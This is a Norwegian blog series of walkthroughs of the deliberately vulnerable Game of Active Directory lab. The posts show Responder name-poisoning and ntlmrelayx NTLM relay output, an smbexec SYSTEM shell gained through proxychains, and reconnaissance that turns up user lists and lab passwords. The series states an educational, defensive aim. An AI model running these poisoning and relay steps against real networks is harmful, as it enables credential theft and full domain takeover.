        Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
        Don't Respond To MDNS TLD  ['_DOSVC']
        TTL for poisoned response  [default]
    
    [+] Current Session Variables:
        Responder Machine Name     [WIN-154FN4YSOQU]
        Responder Domain Name      [BC6R.LOCAL]
        Responder DCE-RPC Port     [48223]
    
    [*] Version: Responder 3.1.7.0
    [*] Author: Laurent Gaffie, <[email protected]>
    [*] To sponsor Responder: https://paypal.me/PythonResponder
    
    [+] Listening for events... 

    Det går litt tid og så får vi se følgende, omtrent samtidig i responder og i ntlmrelayx:

    # Responder
    [*] [NBT-NS] Poisoned answer sent to 10.3.2.11 for name MEREN (service: File Server)
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [NBT-NS] Poisoned answer sent to 10.3.2.11 for name BRAVOS (service: File Server)
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Meren.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Meren
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [MDNS] Poisoned answer sent to 10.3.2.11       for name Bravos.local
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    [*] [LLMNR]  Poisoned answer sent to 10.3.2.11 for name Bravos
    # NTLMRelayX
    
    []
    [*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, attacking target smb://10.3.2.22
    [*] Authenticating against smb://10.3.2.22 as NORTH/EDDARD.STARK SUCCEED
    [*] SOCKS: Adding NORTH/[email protected](445) to active SOCKS connection. Enjoy
    []
    [*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, attacking target smb://10.3.2.23
    [*] Authenticating against smb://10.3.2.23 as NORTH/EDDARD.STARK SUCCEED
    [*] SOCKS: Adding NORTH/[email protected](445) to active SOCKS connection. Enjoy
    [*] All targets processed!
    [*] SMBD-Thread-32 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-33 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-34 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-35 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-36 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-37 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-38 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    [*] All targets processed!
    [*] SMBD-Thread-39 (process_request_thread): Connection from NORTH/[email protected] controlled, but there are no more targets left!
    [*] Received connection from NORTH/robb.stark at WINTERFELL, connection will be relayed after re-authentication
    

    Vi har altså snappet opp sesjoner for Eddard og Robb stark, og klart å etablere en sesjon på vegne av Eddard Stark mot begge serverene, og vi ser han er administrator på 10.3.2.22 som er Castelblack serveren.

    socks
    Protocol  Target     Username            AdminStatus  Port 
    --------  ---------  ------------------  -----------  ----
    SMB       10.3.2.22  NORTH/EDDARD.STARK  TRUE         445  
    SMB       10.3.2.23  NORTH/EDDARD.STARK  FALSE        445

    Vi kjører smbexec.py via den etablerte sesjonen over proxychains, og ser at vi har fått tilgang som NT Authority\SYSTEM på castelblack serveren.

    $ proxychains4 -q smbexec.py NORTH/[email protected]
    
    Password: # bare tomt passord her, bare trykk enter.
    [!] Launching semi-interactive shell - Careful what you execute
    C:\Windows\system32>whoami
    nt authority\system
    
    C:\Windows\system32>hostname
    castelblack

    Vi har altså et shell på maskinen som SYSTEM og kan egentlig gjøre hva vi har lyst til å gjøre på den maskinen, for eksempel å legge til en administratorkonto vi selv kontrollerer, skru av defender og installere skadevare, eller mange andre ting.

    I neste post skal vi ta for oss hvordan vi kan innhente oss rundt i miljøet, og tilegne oss høyere og høyere tilgang.

  • GoAD Write-up – Rekognosering

    GoAD Write-up – Rekognosering

    Game of Active Directory del 1 – Rekognosering

    Forord: Denne bloggserien viser reelle metoder angripere bruker for å bevege seg inn i, og ta over et AD miljø. All denne informasjonen er allerede offentlig tilgjengelig, og deles ikke for å gi grunnkurs i nettkriminalitet, men for å spre kunnskap om hvorfor vi må beskytte oss. Du må kun benytte disse verktøyene, metodene og prosedyrene i miljøer der du har fått eksplisitt samtykke av eier til å gjøre dette.

    Miljøet ble satt opp på IP range 10.3.2.0/24, og jeg vet at de fikk IPer i range .10.23 dermed vet jeg at jeg kan fokusere på kartlegging i den addresseserien.

    Fordi dette er en lab jeg kontrollerer selv, og den er skapt for å være sårbar, så bryr jeg meg ikke om å være usynlig.


    NMAP

    Noe av det aller første man ønsker å gjøre er å finne ut hva som er tilstede på nettverket, og hvilke tjenester som kjøres på disse boksene. I den sammenheng bruker jeg NMAP.

    $ nmap -sC -sV 10.3.2.10-30       
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 12:21 EDT

    Vi ser 5 verter på nettverket:

    • 10.3.2.10, 10.3.2.11, 10.3.2.12 (DCer)
    • 10.3.2.22, 10.3.2.23 (Andre servere)

    Vi ser en del saftig informasjon på f.eks verten 10.3.2.22:

    Nmap scan report for 10.3.2.22
    Host is up (0.0036s latency).
    Not shown: 995 filtered tcp ports (no-response)
    PORT     STATE SERVICE       VERSION
    135/tcp  open  msrpc         Microsoft Windows RPC
    445/tcp  open  microsoft-ds?
    3389/tcp open  ms-wbt-server Microsoft Terminal Services
    |_ssl-date: 2025-08-25T16:22:19+00:00; -1m23s from scanner time.
    | ssl-cert: Subject: commonName=castelblack.north.sevenkingdoms.local
    | Not valid before: 2025-08-18T18:25:00
    |_Not valid after:  2026-02-17T18:25:00
    5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-server-header: Microsoft-HTTPAPI/2.0
    |_http-title: Not Found
    5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_ssl-date: 2025-08-25T16:22:19+00:00; -1m23s from scanner time.
    | ssl-cert: Subject: commonName=VAGRANT
    | Subject Alternative Name: DNS:VAGRANT, DNS:vagrant
    | Not valid before: 2025-08-18T09:10:58
    |_Not valid after:  2028-08-17T09:10:58
    |_http-server-header: Microsoft-HTTPAPI/2.0
    | tls-alpn: 
    |_  http/1.1
    |_http-title: Not Found
    MAC Address: 00:0C:29:B4:8E:7B (VMware)
    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

    Vi kan se at bl.a. portene 135/tcp (RPC Mapper), 445/tcp (SMB), 3389/tcp (Remote Desktop), og 5985/tcp (WinRM) er åpne på verten 10.3.2.22

    Legg også merke til SSL-Cert subject: castelblack.north.sevenkingdoms.local, dette kan være relevant informasjon, da det gir oss øyeblikkelige hint om domenestruktur og vertsnavn.


    Enum4linux

    Vi tester verktøyet enum4linux for å se om vi kan finne noe mer spennende på noen av serverene. Winterfell.north.sevenkingdoms.local gir oss mye informasjon.

    Legg særlig merke til domeneinformasjon, brukerliste og passordpolicy.

    Domeneinformasjon:

     ==================================( Getting domain SID for 10.3.2.11 )==================================
    
    Domain Name: NORTH
    Domain Sid: S-1-5-21-88918170-2512471535-2376777965
    
    [+] Host is part of a domain (not a workgroup) 

    Brukerliste:

     =========================================( Users on 10.3.2.11 )=========================================
                                                                                                                                                                           
    index: 0x18ac RID: 0x456 acb: 0x00000210 Account: arya.stark    Name: (null)    Desc: Arya Stark                                                                       
    index: 0x18bc RID: 0x45b acb: 0x00010210 Account: brandon.stark Name: (null)    Desc: Brandon Stark
    index: 0x16f5 RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null)    Desc: Built-in account for guest access to the computer/domain
    index: 0x18c0 RID: 0x45d acb: 0x00000210 Account: hodor Name: (null)    Desc: Brainless Giant
    index: 0x18c6 RID: 0x460 acb: 0x00000210 Account: jeor.mormont  Name: (null)    Desc: Jeor Mormont
    index: 0x18c3 RID: 0x45e acb: 0x00040210 Account: jon.snow      Name: (null)    Desc: Jon Snow
    index: 0x18bf RID: 0x45c acb: 0x00000210 Account: rickon.stark  Name: (null)    Desc: Rickon Stark
    index: 0x18c4 RID: 0x45f acb: 0x00000210 Account: samwell.tarly Name: (null)    Desc: Samwell Tarly (Password : Heartsbane)
    index: 0x18bb RID: 0x45a acb: 0x00000210 Account: sansa.stark   Name: (null)    Desc: Sansa Stark
    index: 0x18c9 RID: 0x461 acb: 0x00000210 Account: sql_svc       Name: (null)    Desc: sql service

    Passordpolicy:

     =============================( Password Policy Information for 10.3.2.11 )=============================
                                                                                                                                                                         
                                                                                                                                                                           
    
    [+] Attaching to 10.3.2.11 using a NULL share
    
    [+] Trying protocol 139/SMB...
    
            [!] Protocol failed: Cannot request session (Called Name:10.3.2.11)
    
    [+] Trying protocol 445/SMB...
    
    [+] Found domain(s):
    
            [+] NORTH
            [+] Builtin
    
    [+] Password Info for Domain: NORTH
    
            [+] Minimum password length: 5
            [+] Password history length: 24
            [+] Maximum password age: 311 days 2 minutes 
            [+] Password Complexity Flags: 000000
    
                    [+] Domain Refuse Password Change: 0
                    [+] Domain Password Store Cleartext: 0
                    [+] Domain Password Lockout Admins: 0
                    [+] Domain Password No Clear Change: 0
                    [+] Domain Password No Anon Change: 0
                    [+] Domain Password Complex: 0
    
            [+] Minimum password age: 1 day 4 minutes 
            [+] Reset Account Lockout Counter: 5 minutes 
            [+] Locked Account Duration: 5 minutes 
            [+] Account Lockout Threshold: 5
            [+] Forced Log off Time: Not Set
    
    
    
    [+] Retieved partial password policy with rpcclient:                                                                                                                   
                                                                                                                                                                           
                                                                                                                                                                           
    Password Complexity: Disabled                                                                                                                                      
    Minimum Password Length: 5

    Med disse opplysningene har vi en liste med brukere i NORTH\ og opplysninger om at det er mulig å ha passord som er helt nede i 5 tegn lengde, og at de ikke har noen kompleksitetskrav. Vi har også fått beskjed om at passordet til Samwell Tarly er ‘Heartsbane’.


    Netexec

    Jeg ser om jeg kan finne noen tilgjengelige fileshares på området med netexec, som har i økende grad begynt å erstatte crackmapexec.

    Her benytter jeg spesifikt smb modulen i netexec, og spesifiserer brukernavn “Guest” og et blankt passord for å se om gjestetilgang er tillatt. Dette gjør jeg for å vise at vi kan hente informasjon selv før vi har funnet brukernavn/passord i denne laben.

    $ netexec smb --shares 10.3.2.10-30 -u "" -p ""                                                 
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\: 
    SMB         10.3.2.11       445    WINTERFELL       [-] Error enumerating shares: STATUS_ACCESS_DENIED
    SMB         10.3.2.10       445    KINGSLANDING     [+] sevenkingdoms.local\: 
    SMB         10.3.2.10       445    KINGSLANDING     [-] Error enumerating shares: STATUS_ACCESS_DENIED
    SMB         10.3.2.22       445    CASTELBLACK      [-] north.sevenkingdoms.local\: STATUS_ACCESS_DENIED 
    SMB         10.3.2.22       445    CASTELBLACK      [-] Error enumerating shares: Error occurs while reading from remote(104)
    SMB         10.3.2.23       445    BRAAVOS          [-] essos.local\: STATUS_ACCESS_DENIED 
    SMB         10.3.2.23       445    BRAAVOS          [-] Error enumerating shares: Error occurs while reading from remote(104)
    SMB         10.3.2.12       445    MEEREEN          [+] essos.local\: 
    SMB         10.3.2.12       445    MEEREEN          [-] Error enumerating shares: STATUS_ACCESS_DENIED
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Vi har lokalisert /all filesharen på både CASTELBLACK og BRAAVOS serverene. Kanskje vi kan finne noe spennende der? Vi ser også at Braavos og Castelblack ikke krever SMB Signing, og at både Braavos og Meereen støtter SMBv1.


    /etc/hosts

    Vi oppdaterer /etc/hosts med informasjon samlet fra enum4linux og netexec:

    10.3.2.10       kingslanding.sevenkingdoms.local
    10.3.2.11       winterfell.north.sevenkingdoms.local
    10.3.2.12       meereen.essos.local
    10.3.2.22       castelblack.north.sevenkingdoms.local
    10.3.2.23       braavos.essos.local

    SMBClient

    Vi benytter den samme gjestetilgangen for å undersøke om det ligger noe spennende på /all sharen på castelblack.

    $ smbclient //castelblack.north.sevenkingdoms.local/All -U "Guest" -p ""                  
    Password for [WORKGROUP\Guest]:
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                   D        0  Fri Sep 12 23:00:26 2025
      ..                                  D        0  Fri Sep 12 23:00:26 2025
      arya.txt                            A      413  Thu Sep 11 15:08:15 2025
    
                    15638527 blocks of size 4096. 7807683 blocks available
    smb: \> get arya.txt
    getting file \arya.txt of size 413 as arya.txt (26.9 KiloBytes/sec) (average 26.9 KiloBytes/sec)

    Vi oppdaget et dokument som heter arya.txt – dette kan være interessant, så vi laster det ned og ser på innholdet.

    $ cat arya.txt  
    Subject: Quick Departure
    
    Hey Arya,
    
    I hope this message finds you well. Something urgent has come up, and I have to leave for a while. Don't worry; I'll be back soon.
    
    I left a little surprise for you in your room  the sword You've named "Needle." It felt fitting, given your skills. Take care of it, and it'll take care of you.
    
    I'll explain everything when I return. Until then, stay sharp, sis.
    
    Best,
    John

    Som vi ser er det et potensielt passordhint i dokumentet. “Needle”. Dette kan være nyttig i fremtiden.

    I neste del tar vi for oss “initial access”, som handler om hvordan vi får vårt første fotfeste i miljøet.

  • GoAD Writeup

    GoAD Writeup

    Del 0 – Introduksjon

    Denne bloggen kommer til å handle om identitetssikring, primært i windows-miljøer, så det går mye i AD og Entra.

    Som mitt første blogginnlegg her ønsker jeg å se nærmere på veldig vanlige feilkonfigurasjoner og sårbarheter i Windows Active Directory, som kan føre til total kompromittering av et AD-miljø.

    I den sammenheng har jeg satt opp et labmiljø som heter Game of Active Directory, utviklet av Orange-Cyberdefense. Denne labben er lagd på en slik måte at den er sårbar for omtrent alle angrep som finnes.

    Det er ikke slik at jeg ønsker å lære bort disse teknikkene så folk skal misbruke dem, men heller å demonstrere hvor sårbare mange er uten å vite det, og oppfordre dem til å herde miljøene sine.

    Fremtidige blogginnlegg vil ta for seg konkrete steg man kan ta for å herde spesifikke angrepsflater, og vil referere tilbake til denne første serien for å vise hvorfor det er viktig å gjøre disse tiltakene.


    Målet blir å ta seg fra en kali linux maskin på samme subnet, til totalt eierskap over rubbel og bit i labben.

    Labmiljøet settes opp via automasjonsprogramvaren Vagrant og Ansible, og kan være litt vanskelig å komme i gang med, da automatikken ikke alltid fungerer helt som den skal, så vær obs på det dersom du skal begi deg ut på samme laboppgavene.

    Labben som er valgt er den vanligste – GOAD, som innebærer 5 virtuelle maskiner, 2 AD skoger med 3 domener totalt.

    Jeg har løst labben en gang før, og gikk inn blindt den gang, men på github repoet finner man en oversikt over alle angrepsmetodene som skal virke. Med viten og vilje har jeg unngått å lese denne, da jeg ønsker å utforske det selv.